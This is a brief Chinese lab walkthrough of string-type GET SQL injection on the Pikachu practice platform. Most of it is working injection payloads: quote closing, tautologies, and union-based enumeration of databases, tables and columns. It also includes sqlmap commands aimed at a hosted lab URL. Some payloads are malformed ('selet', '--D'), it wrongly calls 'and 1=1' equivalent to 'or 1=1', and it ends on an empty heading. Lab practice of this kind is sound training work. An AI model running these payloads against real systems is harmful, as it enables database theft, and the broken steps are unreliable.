Pikachu漏洞练习平台
sql-字符型注入(get)题目:
$name = $_GET['name'];
// 这里的变量是字符型,需要考虑闭合
$query = "select id,email from member where username='$name'";
$result = execute($link, $query);
构造闭合拼接
select id,email from member where username='1' or 1=1#'
构造闭合拼接为永真条件
x' or 1=1#
或者
x' and 1=1#
都一样的
列举字段
x' order by 2#
查看当前数据库用户名和数据库版本
x' union selet database(),version()#
列出所有数据库
x' union select 1,group_concat(schema_name) from information_schema.schemata#
列出表名
x' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取对应表的字段
x' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
获取管理员信息
最终获取的密码用md5解密就好了
sqlmap方法
获取数据库用户名
sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_str.php?name=test&submit=查询" --dbs --batch
获取数据库表名
sqlmap -u "https://pikachu.guixinan.com/vul/sqli/sqli_str.php?name=test&submit=查询" --D 数据库用户名 --tables --batch
获取对应数据库表的信息